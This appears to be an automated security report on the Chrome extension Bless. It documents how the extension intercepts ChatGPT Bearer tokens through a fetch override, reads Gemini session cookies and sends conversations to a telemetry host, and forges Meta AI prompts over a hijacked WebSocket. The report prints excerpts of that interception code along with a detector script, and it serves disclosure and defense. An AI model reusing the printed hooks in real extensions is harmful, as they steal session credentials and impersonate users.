Is Bless safe?

High risk

Bless is high risk. On chatgpt.com, Bless replaces native fetch before load, reading every ChatGPT request including the Bearer token. window.fetch returned the extension's function; __chatgptTokens__ held 13 keys with a device ID; two functions reuse it.…

Blessv0.3.10Chrome Web Store
79Risk
Who publishes it

Bless - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Bless
Registered address
19955 Dougherty Avenue, Morgan Hill, CA 95037, US
Registered contact
Guantong Chen

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

ChatGPT Auth Token Captured by Fetch Interceptor

On chatgpt.com, Bless replaces native fetch before load, reading every ChatGPT request including the Bearer token. window.fetch returned the extension's function; __chatgptTokens__ held 13 keys with a device ID; two functions reuse it.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You navigate to chatgpt.com, any page, with Bless installed.

The extension did this

Bless replaces the browser's native fetch function before ChatGPT's own code runs, then reads the Authorization Bearer token from every request ChatGPT makes.

The captured token is stored in window.__chatgptTokens__ and broadcast via postMessage. Two injected functions, __sendConversation__ and __chatgptAPI__, can then use that token to make authenticated ChatGPT API calls on your behalf.

Captured request
POSThttps://chatgpt.com/backend-anon/sentinel/chat-requirements/prepare

47 ChatGPT API requests intercepted by the extension's fetch hook during our test session. The interceptor read Authorization headers, OAI-Device-Id headers, and sentinel tokens from each.

Tokens and identifiers captured from your ChatGPT session
  • Your ChatGPT auth token
    eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLWFiY2QxMjM0NTY3OCIsImlzcyI6Imh0dHBzOi8vYXV0aDAub3BlbmFpLmNvbS8ifQ.signature

    The Bearer token that authenticates all ChatGPT API requests as you. Anyone who has it can make requests on your account.

  • Your device ID
    4abfe929-3be0-44e2-bf11-548d6c3b58e6

    The OAI-Device-Id header value that ChatGPT uses to track your device across sessions.

  • Chat requirements token
    gAAAAAB...(base64, ~200 chars)

    A short-lived session token required to start new conversations. Captured from /sentinel/finalize responses.

  • Turnstile token
    0.hL7gX3PrQ...

    A Cloudflare anti-bot challenge token required for ChatGPT API access.

  • Proof-of-work token
    gAAAAAB...pow...

    A computed proof required by ChatGPT's sentinel system to authenticate API calls.

The code that does this

The fetch interceptor from the extension's shipping source (chatgpt-early-hook.js):

Readable version

Fetch override

// Replace window.fetch with the interceptor before any page script runs.// 'writable: false' prevents ChatGPT's code from undoing the override.try {  Object.defineProperty(window, 'fetch', {    value: interceptedFetch,    writable: false,    configurable: true  });} catch {  window.fetch = interceptedFetch; // fallback if defineProperty fails}

Token extraction from intercepted request headers

// Called inside the intercepted fetch for every /backend-api or /backend-anon request.// headers = merged request init headers + cloned Request headersif (headers.authorization) {  tokens.authToken = headers.authorization.replace('Bearer ', '');}if (headers['oai-device-id']) {  tokens.deviceId = headers['oai-device-id'];}// After /sentinel/finalize response: broadcast all tokensif (path.includes('/finalize') && responseBody.token) {  tokens.chatRequirementsToken = responseBody.token;  tokens.tokenExpireAt = responseBody.expire_at;  tokens.lastUpdate = Date.now();  const event = {    type: 'CHATGPT_TOKENS_READY',    data: {      chatRequirementsToken: tokens.chatRequirementsToken,      turnstileToken: tokens.turnstileToken,      proofToken: tokens.proofToken,      tokenExpireAt: tokens.tokenExpireAt,      authToken: tokens.authToken,      deviceId: tokens.deviceId    }  };  // Broadcast to all frames — any frame or the extension popup can receive this  window.postMessage(event, '*');  window.parent.postMessage(event, '*');}
Check if you're affected

Run this in Chrome DevTools on chatgpt.com to check whether Bless's fetch interceptor is active and whether it has already captured your auth token.

Requires
  • Chrome with the Bless extension installed
  • DevTools access (F12)
bless-hook-detector.js · js
// bless-hook-detector.js// Paste into Chrome DevTools console on chatgpt.com.// Checks for the Bless fetch interceptor and captured token state.(function() {  const results = {};  // 1. Check whether window.fetch has been replaced  const fetchSrc = window.fetch.toString();  results.fetchOverridden = !fetchSrc.includes('[native code]');  results.fetchSource = fetchSrc.slice(0, 120) + (fetchSrc.length > 120 ? '...' : '');  // 2. Check for the Bless early-hook marker  results.blessHookPresent = window.__chatgptEarlyHook__ === true;  // 3. Check token store  const tokens = window.__chatgptTokens__;  if (tokens) {    results.tokenStorePresent = true;    results.tokenKeys = Object.keys(tokens).filter(k => typeof tokens[k] !== 'function');    results.authTokenCaptured = typeof tokens.authToken === 'string' && tokens.authToken.length > 10;    results.deviceIdCaptured = typeof tokens.deviceId === 'string' && tokens.deviceId.length > 10;    results.tokensValid = typeof tokens.isValid === 'function' ? tokens.isValid() : 'unknown';  } else {    results.tokenStorePresent = false;  }  // 4. Check for injected API functions  results.sendConversationPresent = typeof window.__sendConversation__ === 'function';  results.chatgptAPIPresent = typeof window.__chatgptAPI__ === 'function';  // 5. Check sentinel capture buffer  results.sentinelCaptureCount = Array.isArray(window.__sentinelCaptured__)    ? window.__sentinelCaptured__.length    : 0;  console.table(results);  if (results.blessHookPresent && results.fetchOverridden) {    console.warn(      '[BLESS DETECTOR] Bless fetch interceptor is ACTIVE.\n' +      'Auth token captured: ' + results.authTokenCaptured + '\n' +      'Sentinel requests captured: ' + results.sentinelCaptureCount    );  } else {    console.log('[BLESS DETECTOR] No Bless hook detected.');  }  return results;})();
How to run it
  1. 1Install Bless from the Chrome Web Store.
  2. 2Go to https://chatgpt.com.
  3. 3Open DevTools (F12).
  4. 4Paste this script into Console, press Enter.
  5. 5Check the table: 'blessHookPresent: true' and 'fetchOverridden: true' confirm it's active.

Gemini Auth Token and Full Conversation History Read by Bless Extension

Bless reads your Gemini cookie (__Secure-1PSID), fetches your Google email, name, and user ID via the batchexecute API, and backfills up to 60 conversations.

An XHR interceptor captures live chats too; data goes to Bless telemetry.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open Gemini (gemini.google.com) in any browser tab.

The extension did this

Bless reads your Google session cookie, retrieves your identity via an internal Google API, intercepts live Gemini chats, and backfills your conversation history.

No additional user action is required. The XHR interceptor and backfill run automatically on every Gemini tab load.

Identity data extracted via Bard o30O0e batchexecute RPC
  • Google account email
    alice@gmail.com

    The email address of your Google account linked to Gemini.

  • Display name
    Alice Smith

    Your Google account display name.

  • User ID
    101234567890123456789

    Your internal Google account identifier, used to correlate conversation history.

The code that does this

Session cookie read and identity fetch, service worker (dist-BiwOfj7l.js ~line 22728)

Readable version
async function readGeminiSessionCookie() {  return (await chrome.cookies.get({    url: 'https://gemini.google.com',    name: '__Secure-1PSID'  }))?.value || null;}async function fetchGoogleIdentity() {  // Calls the internal Bard o30O0e batchexecute RPC  let results = await batchExecute('o30O0e', JSON.stringify([    ['me'],    [[['person.photo', 'person.name', 'person.email']], null, [1, 7]]  ]));  for (let row of results) {    let parsed = JSON.parse(row[2])?.[0]?.[0]?.[2];    let userId = parsed[0], name = parsed[2]?.[0]?.[1];    let email = parsed[9]?.[0]?.[1];    if (email || name || userId) return { email, name, userId };  }  return null;}
The code that does this

XHR interceptor in MAIN world, gemini-early-hook.js

Readable version
// Patches XMLHttpRequest in the MAIN world to intercept Gemini StreamGenerate responsesconst originalOpen = XMLHttpRequest.prototype.open;const originalSend = XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.open = function(method, url, ...rest) {  this.__isGemini = /BardChatUi.*StreamGenerate/.test(url || '');  return originalOpen.call(this, method, url, ...rest);};XMLHttpRequest.prototype.send = function(body) {  if (this.__isGemini) {    this.addEventListener('loadend', () => {      // Parses chunks after )]}'\n, extracts conversationId, user prompt, AI response      window.postMessage({ type: 'GEMINI_CONVERSATION_UPDATE',        data: parseGeminiResponse(this.responseText) }, '*');    });  }  return originalSend.call(this, body);};
Where captured data is sent
    • telemetry.mainnet.bls.dev

    Bless telemetry pipeline, receives Google account identity and full Gemini conversation content.

    • gemini.google.com

    Source of __Secure-1PSID session cookie and conversation data. The o30O0e, MaZiqc, and hNvQHb batchexecute RPCs are called with the user's own credentials.

Meta AI Session Cookie Read; WebSocket Intercepted for Prompt Injection

Bless reads your Meta AI cookie (ecto_1_sess) and scrapes your username/viewer ID from the page.

A WebSocket interceptor captures chats live; on a server prompt it forges a protobuf message through it, so Meta AI answers as if typed.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open Meta AI (www.meta.ai) in any browser tab while Bless receives a server-assigned campaign prompt.

The extension did this

Bless reads your session cookie and identity, intercepts your Meta AI WebSocket, and sends a forged protobuf message, so Meta AI submits a server-chosen prompt under your account.

The hook captures the live WebSocket connection to gateway.meta.ai/ws/clippy and uses your viewerId and device fingerprint to construct authentic-looking protobuf frames.

Identity data read from the Meta AI page
  • ecto_1_sess cookie
    AQA...(base64 session blob)

    Your Meta AI session token, used to authenticate the WebSocket connection to gateway.meta.ai.

  • Meta username
    alice.smith.42

    Your Meta platform username, parsed from the socialProfile object in the page HTML.

  • Viewer ID
    100078234512367

    Your internal Meta account numeric ID, embedded in the forged protobuf messages sent to Meta AI.

The code that does this

WebSocket replacement and protobuf prompt encoder, metaai-early-hook.js

Readable version
const OriginalWebSocket = window.WebSocket;window.WebSocket = function(url, protocols) {  let ws = new OriginalWebSocket(url, protocols);  if (url.toString().includes('gateway.meta.ai/ws/clippy')) {    capturedSocket = ws;    ws.binaryType = 'arraybuffer';    // Parse binary frames for AI response text    ws.addEventListener('message', (e) => {      if (e.data instanceof ArrayBuffer) parseResponseFrame(e.data);    });    // Signal parent iframe that the socket is ready    ws.addEventListener('open', () => {      if (isIframe) window.parent.postMessage({ type: 'METAAI_IFRAME_READY' }, '*');      if (pendingPrompt) { sendPromptOverWebSocket(pendingPrompt); pendingPrompt = null; }    });  }  return ws;};
The code that does this

Protobuf message construction for forged prompt (metaai-early-hook.js lines 62-82)

Readable version
// Builds a valid Meta AI protobuf message that impersonates a user promptfunction buildMetaAiMessage(viewerId, promptText, conversationId, deviceFingerprint) {  let timestamp = Date.now();  let timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;  messageCounter++;  // Encodes the prompt text in protobuf field 5  let promptField = encodeStringField(5, encodeStringField(1, promptText));  // Core message body with hardcoded Meta internal fields  let messageBody = concat(    encodeString(1, 'KADABRA__CHAT__UNIFIED_INPUT_BAR'),  // Meta internal channel    encodeString(2, '1522763855472543'),                  // Hardcoded app ID    encodeBytes(4, sessionUUID),                          // Session UUID    promptField,    encodeVarint(6, messageCounter),    encodeString(7, 'HUMAN_AGENT'),                       // Sender role    encodeBytes(8, concat(encodeString(1, viewerId), encodeString(2, viewerId))), // User identity    encodeString(10, 'ECTO1'),                            // Auth scheme    encodeString(11, 'Abra Web Main Key')                 // Key label  );  return buildFullProtoEnvelope(messageBody, viewerId, timestamp, conversationId);}
Where captured data and forged requests go
    • gateway.meta.ai

    Meta AI WebSocket endpoint, intercepted to read conversations and inject server-assigned prompts using the user's session.

    • telemetry.mainnet.bls.dev

    Bless telemetry pipeline, receives Meta AI account identity and captured conversation content.

+2 more findings not shown

What it can do

Permissions this extension asks for, as declared in version 0.3.10. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on chatgpt.com

    https://chatgpt.com/*

  • Read and change your data on google.com

    https://*.google.com/*

  • Read and change your data on www.perplexity.ai

    https://www.perplexity.ai/*

  • Store data in your browser

    storage

  • Keep running in the background while your browser is open

    background

  • Read information about your CPU

    system.cpu

  • Read how much memory your computer has

    system.memory

  • Run hidden pages in the background

    offscreen

  • Run its own code inside the pages you visit

    scripting

  • See the address and title of every tab you have open

    tabs

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Updated 30 September 2026pljbjcehnhcnofmkdbjolghdcjnmekia